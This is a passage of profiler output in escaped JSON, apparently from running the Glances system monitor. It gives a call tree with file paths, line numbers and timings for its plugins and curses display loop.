0.002002971996262204},\"children\": [{\"identifier\": \"__add__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/collections/__init__.py\\u0000833\",\"time\": 0.002003,\"attributes\": {\"cCounter\": 0.002002971996262204, \"l850\": 0.002002971996262204},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002003,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000658\",\"time\": 0.007996,\"attributes\": {\"cProgramlistPlugin\": 0.007996393003850244, \"l678\": 0.005995632003759965, \"l677\": 0.0020007610000902787},\"children\": [{\"identifier\": \"_build_view_for_field\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000631\",\"time\": 0.001997,\"attributes\": {\"cProgramlistPlugin\": 0.001996543003770057, \"l634\": 0.001996543003770057},\"children\": [{\"identifier\": \"_build_field_optional\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000625\",\"time\": 0.001997,\"attributes\": {\"cProgramlistPlugin\": 0.001996543003770057, \"l628\": 0.001996543003770057},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001997,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"listkeys\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000131\",\"time\": 0.002001,\"attributes\": {\"l132\": 0.0020007610000902787},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_build_view_for_field\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000631\",\"time\": 0.001999,\"attributes\": {\"cProgramlistPlugin\": 0.001999141000851523, \"l634\": 0.001999141000851523},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.002054,\"attributes\": {\"l1295\": 0.002053873999102507},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/network/__init__.py\\u0000109\",\"time\": 0.002054,\"attributes\": {\"cNetworkPlugin\": 0.002053873999102507, \"l116\": 0.002053873999102507},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001349\",\"time\": 0.002054,\"attributes\": {\"cNetworkPlugin\": 0.002053873999102507, \"l1351\": 0.002053873999102507},\"children\": [{\"identifier\": \"update_local\\u0000/home/nicolargo/dev/glances/glances/plugins/network/__init__.py\\u0000130\",\"time\": 0.002054,\"attributes\": {\"cNetworkPlugin\": 0.002053873999102507, \"l157\": 0.002053873999102507},\"children\": [{\"identifier\": \"net_if_addrs\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00002228\",\"time\": 0.002054,\"attributes\": {\"l2246\": 0.002053873999102507},\"children\": [{\"identifier\": \"net_if_addrs\\u0000<built-in>\\u00000\",\"time\": 0.002054,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002054,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000658\",\"time\": 0.009946,\"attributes\": {\"cProcesslistPlugin\": 0.00994620799610857, \"l678\": 0.00994620799610857},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001949,\"attributes\": {},\"children\": []},{\"identifier\": \"_build_view_for_field\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000631\",\"time\": 0.007997,\"attributes\": {\"cProcesslistPlugin\": 0.007997207998414524, \"l633\": 0.006003652997605968, \"l656\": 0.0019935550008085556},\"children\": [{\"identifier\": \"_build_field_decoration\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000606\",\"time\": 0.002004,\"attributes\": {\"cProcesslistPlugin\": 0.0020035100023960695, \"l619\": 0.0020035100023960695},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002004,\"attributes\": {},\"children\": []}]},{\"identifier\": \"[self]\",\"time\": 0.001994,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []},{\"identifier\": \"_build_field_decoration\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000606\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.001998743995500263, \"l614\": 0.001998743995500263},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/sensors/__init__.py\\u0000216\",\"time\": 0.002003,\"attributes\": {\"cSensorsPlugin\": 0.0020026810016133823, \"l231\": 0.0020026810016133823},\"children\": [{\"identifier\": \"is_limit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000951\",\"time\": 0.002003,\"attributes\": {\"cSensorsPlugin\": 0.0020026810016133823, \"l953\": 0.0020026810016133823},\"children\": [{\"identifier\": \"get_stat_name\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000794\",\"time\": 0.002003,\"attributes\": {\"cSensorsPlugin\": 0.0020026810016133823, \"l801\": 0.0020026810016133823},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002003,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001138\",\"time\": 2.057916,\"attributes\": {\"cGlancesCursesStandalone\": 2.05791641700489, \"l1154\": 0.04822406000312185, \"l1169\": 1.0049012189992936, \"l1172\": 1.0047911380024743},\"children\": [{\"identifier\": \"flush\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001124\",\"time\": 0.048224,\"attributes\": {\"cGlancesCursesStandalone\": 0.04822406000312185, \"l1135\": 0.04599905900249723, \"l1136\": 0.0022250010006246157},\"children\": [{\"identifier\": \"display\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000549\",\"time\": 0.045999,\"attributes\": {\"cGlancesCursesStandalone\": 0.04599905900249723, \"l569\": 0.04599905900249723},\"children\": [{\"identifier\": \"__get_stat_display\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000514\",\"time\": 0.045999,\"attributes\": {\"cGlancesCursesStandalone\": 0.04599905900249723, \"l545\": 0.04599905900249723},\"children\": [{\"identifier\": \"get_stats_display\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001082\",\"time\": 0.045999,\"attributes\": {\"cProgramlistPlugin\": 0.017997306000324897, \"l1101\": 0.04599905900249723, \"cProcesslistPlugin\": 0.025999516998126637, \"cHelpPlugin\": 0.002002236004045699},\"children\": [{\"identifier\": \"msg_curse\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000556\",\"time\": 0.043997,\"attributes\": {\"cProgramlistPlugin\": 0.017997306000324897, \"l587\": 0.041996018997451756, \"cProcesslistPlugin\": 0.025999516998126637, \"l566\": 0.0020008040009997785},\"children\": [{\"identifier\": \"get_process_curses_data\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000520\",\"time\": 0.003998,\"attributes\": {\"cProgramlistPlugin\": 0.003998041000158992, \"l538\": 0.003998041000158992},\"children\": [{\"identifier\": \"_get_process_curses_io_counters\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000469\",\"time\": 0.002015,\"attributes\": {\"cProgramlistPlugin\": 0.0020150950003881007, \"l471\": 0.0020150950003881007},\"children\": [{\"identifier\": \"_get_process_curses_io_read_write\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000450\",\"time\": 0.002015,\"attributes\": {\"cProgramlistPlugin\": 0.0020150950003881007, \"l460\": 0.0020150950003881007},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002015,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_nprocs\\u0000/home/nicolargo/dev/glances/glances/plugins/programlist/__init__.py\\u0000172\",\"time\": 0.001983,\"attributes\": {\"cProgramlistPlugin\": 0.001982945999770891, \"l175\": 0.001982945999770891},\"children\": [{\"identifier\": \"str.format\\u0000<built-in>\\u00000\",\"time\": 0.001983,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001983,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []},{\"identifier\": \"get_process_curses_data\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000520\",\"time\": 0.011997,\"attributes\": {\"cProgramlistPlugin\": 0.011997210000117775, \"l538\": 0.009998790999816265, \"l537\": 0.00199841900030151},\"children\": [{\"identifier\": \"_get_process_curses_memory_info\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000357\",\"time\": 0.001999,\"attributes\": {\"cProgramlistPlugin\": 0.0019986990009783767, \"l361\": 0.0019986990009783767},\"children\": [{\"identifier\": \"_get_process_curses_rss\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000347\",\"time\": 0.001999,\"attributes\": {\"cProgramlistPlugin\": 0.0019986990009783767, \"l350\": 0.0019986990009783767},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []},{\"identifier\": \"_get_process_curses_status\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000435\",\"time\": 0.002000,\"attributes\": {\"cProgramlistPlugin\": 0.0019996640039607882, \"l440\": 0.0019996640039607882},\"children\": [{\"identifier\": \"get_status_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000287\",\"time\": 0.002000,\"attributes\": {\"cProgramlistPlugin\": 0.0019996640039607882, \"l296\": 0.0019996640039607882},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_memory_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000321\",\"time\": 0.004000,\"attributes\": {\"cProgramlistPlugin\": 0.0039999939981498756, \"l325\": 0.0039999939981498756},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.002000,\"attributes\": {\"cProgramlistPlugin\": 0.0020003099998575635, \"l848\": 0.0020003099998575635},\"children\": [{\"identifier\": \"get_stat_name\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000794\",\"time\": 0.002000,\"attributes\": {\"cProgramlistPlugin\": 0.0020003099998575635, \"l801\": 0.0020003099998575635},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_process_curses_cpu_times\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000380\",\"time\": 0.002000,\"attributes\": {\"cProgramlistPlugin\": 0.0020004339967272244, \"l397\": 0.0020004339967272244},\"children\": [{\"identifier\": \"seconds_to_hms\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u000089\",\"time\": 0.002000,\"attributes\": {\"l96\": 0.0020004339967272244},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"sort_stats\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000800\",\"time\": 0.002001,\"attributes\": {\"l824\": 0.0020008040009997785},\"children\": [{\"identifier\": \"<lambda>\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000773\",\"time\": 0.002001,\"attributes\": {\"l773\": 0.0020008040009997785},\"children\": [{\"identifier\": \"weighted\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000767\",\"time\": 0.002001,\"attributes\": {\"l769\": 0.0020008040009997785},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"get_process_curses_data\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000520\",\"time\": 0.023999,\"attributes\": {\"cProcesslistPlugin\": 0.02399871299712686, \"l539\": 0.0020014539986732416, \"l538\": 0.021997258998453617},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []},{\"identifier\": \"_get_process_curses_nice\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000422\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.001999462998355739, \"l429\": 0.001999462998355739},\"children\": [{\"identifier\": \"get_nice_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000273\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.001999462998355739, \"l278\": 0.001999462998355739},\"children\": [{\"identifier\": \"get_limit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000955\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.001999462998355739, \"l967\": 0.001999462998355739},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_cmdline\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000488\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.00199887300550472, \"l500\": 0.00199887300550472},\"children\": [{\"identifier\": \"isdir\\u0000<frozen genericpath>\\u000048\",\"time\": 0.001999,\"attributes\": {\"l51\": 0.00199887300550472},\"children\": [{\"identifier\": \"stat\\u0000<built-in>\\u00000\",\"time\": 0.001999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_username\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000370\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.001999618994886987, \"l378\": 0.001999618994886987},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_process_curses_status\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000435\",\"time\": 0.002030,\"attributes\": {\"cProcesslistPlugin\": 0.0020296120055718347, \"l440\": 0.0020296120055718347},\"children\": [{\"identifier\": \"get_status_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000287\",\"time\": 0.002030,\"attributes\": {\"cProcesslistPlugin\": 0.0020296120055718347, \"l290\": 0.0020296120055718347},\"children\": [{\"identifier\": \"get_limit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000955\",\"time\": 0.002030,\"attributes\": {\"cProcesslistPlugin\": 0.0020296120055718347, \"l967\": 0.0020296120055718347},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002030,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_memory_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000321\",\"time\": 0.001971,\"attributes\": {\"cProcesslistPlugin\": 0.0019714049994945526, \"l331\": 0.0019714049994945526},\"children\": [{\"identifier\": \"curse_add_line\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001105\",\"time\": 0.001971,\"attributes\": {\"cProcesslistPlugin\": 0.0019714049994945526, \"l1130\": 0.0019714049994945526},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001971,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_memory_info\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000357\",\"time\": 0.004000,\"attributes\": {\"cProcesslistPlugin\": 0.003999720996944234, \"l361\": 0.003999720996944234},\"children\": [{\"identifier\": \"_get_process_curses_rss\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000347\",\"time\": 0.004000,\"attributes\": {\"cProcesslistPlugin\": 0.003999720996944234, \"l350\": 0.001999109997996129, \"l351\": 0.0020006109989481047},\"children\": [{\"identifier\": \"auto_unit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001249\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.001999109997996129, \"l1251\": 0.001999109997996129},\"children\": [{\"identifier\": \"auto_unit\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000424\",\"time\": 0.001999,\"attributes\": {\"l459\": 0.001999109997996129},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_cpu_times\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000380\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.0019992399975308217, \"l405\": 0.0019992399975308217},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_process_curses_cmdline\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000488\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.001999244006583467, \"l513\": 0.001999244006583467},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.004000,\"attributes\": {\"cProcesslistPlugin\": 0.0040000819935812615, \"l309\": 0.0020007409984827973, \"l315\": 0.001999340995098464},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.002001,\"attributes\": {\"cProcesslistPlugin\": 0.0020007409984827973, \"l888\": 0.0020007409984827973},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]},{\"identifier\": \"curse_add_line\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001105\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.001999340995098464, \"l1130\": 0.001999340995098464},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"msg_curse\\u0000/home/nicolargo/dev/glances/glances/plugins/help/__init__.py\\u0000151\",\"time\": 0.002002,\"attributes\": {\"cHelpPlugin\": 0.002002236004045699, \"l182\": 0.002002236004045699},\"children\": [{\"identifier\": \"curse_add_line\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001105\",\"time\": 0.002002,\"attributes\": {\"cHelpPlugin\": 0.002002236004045699, \"l1130\": 0.002002236004045699},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.002225,\"attributes\": {},\"children\": []}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100356,\"attributes\": {\"cGlancesCursesStandalone\": 0.10035638300178107, \"l291\": 0.10035638300178107},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100356,\"attributes\": {\"cGlancesCursesStandalone\": 0.10035638300178107, \"l260\": 0.10035638300178107},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100356,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100356,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100484,\"attributes\": {\"cGlancesCursesStandalone\": 0.10048447999724885, \"l1202\": 0.10048447999724885},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100484,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100484,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100522,\"attributes\": {\"cGlancesCursesStandalone\": 0.10052245300175855, \"l291\": 0.10052245300175855},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100522,\"attributes\": {\"cGlancesCursesStandalone\": 0.10052245300175855, \"l260\": 0.10052245300175855},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100522,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100522,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100463,\"attributes\": {\"cGlancesCursesStandalone\": 0.10046263099502539, \"l1202\": 0.10046263099502539},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100463,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100463,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100533,\"attributes\": {\"cGlancesCursesStandalone\": 0.10053281600266928, \"l291\": 0.10053281600266928},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100533,\"attributes\": {\"cGlancesCursesStandalone\": 0.10053281600266928, \"l260\": 0.10053281600266928},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100533,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100533,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100495,\"attributes\": {\"cGlancesCursesStandalone\": 0.10049485699710203, \"l1202\": 0.10049485699710203},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100495,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100495,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100569,\"attributes\": {\"cGlancesCursesStandalone\": 0.10056934100430226, \"l291\": 0.10056934100430226},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100569,\"attributes\": {\"cGlancesCursesStandalone\": 0.10056934100430226, \"l260\": 0.10056934100430226},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100569,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100569,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100552,\"attributes\": {\"cGlancesCursesStandalone\": 0.10055239700159291, \"l1202\": 0.10055239700159291},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100552,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100552,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100611,\"attributes\": {\"cGlancesCursesStandalone\": 0.10061071999371052, \"l291\": 0.10061071999371052},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100611,\"attributes\": {\"cGlancesCursesStandalone\": 0.10061071999371052, \"l260\": 0.10061071999371052},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100611,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100611,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100528,\"attributes\": {\"cGlancesCursesStandalone\": 0.10052833200461464, \"l1202\": 0.10052833200461464},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100528,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100528,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100406,\"attributes\": {\"cGlancesCursesStandalone\": 0.10040606999973534, \"l291\": 0.10040606999973534},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100406,\"attributes\": {\"cGlancesCursesStandalone\": 0.10040606999973534, \"l260\": 0.10040606999973534},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100406,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100406,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100474,\"attributes\": {\"cGlancesCursesStandalone\": 0.10047352599940496, \"l1202\": 0.10047352599940496},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100474,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100474,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100467,\"attributes\": {\"cGlancesCursesStandalone\": 0.10046656699705636, \"l291\": 0.10046656699705636},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100467,\"attributes\": {\"cGlancesCursesStandalone\": 0.10046656699705636, \"l260\": 0.10046656699705636},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100467,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100467,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100417,\"attributes\": {\"cGlancesCursesStandalone\": 0.10041650800121715, \"l1202\": 0.10041650800121715},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100417,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100417,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100361,\"attributes\": {\"cGlancesCursesStandalone\": 0.10036087600019528, \"l291\": 0.10036087600019528},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100361,\"attributes\": {\"cGlancesCursesStandalone\": 0.10036087600019528, \"l260\": 0.10036087600019528},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100361,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100361,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100470,\"attributes\": {\"cGlancesCursesStandalone\": 0.10047013500297908, \"l1202\": 0.10047013500297908},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100470,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100470,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100631,\"attributes\": {\"cGlancesCursesStandalone\": 0.10063136700046016, \"l291\": 0.10063136700046016},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100631,\"attributes\": {\"cGlancesCursesStandalone\": 0.10063136700046016, \"l260\": 0.10063136700046016},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100631,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100631,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100528,\"attributes\": {\"cGlancesCursesStandalone\": 0.10052764599822694, \"l1202\": 0.10052764599822694},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 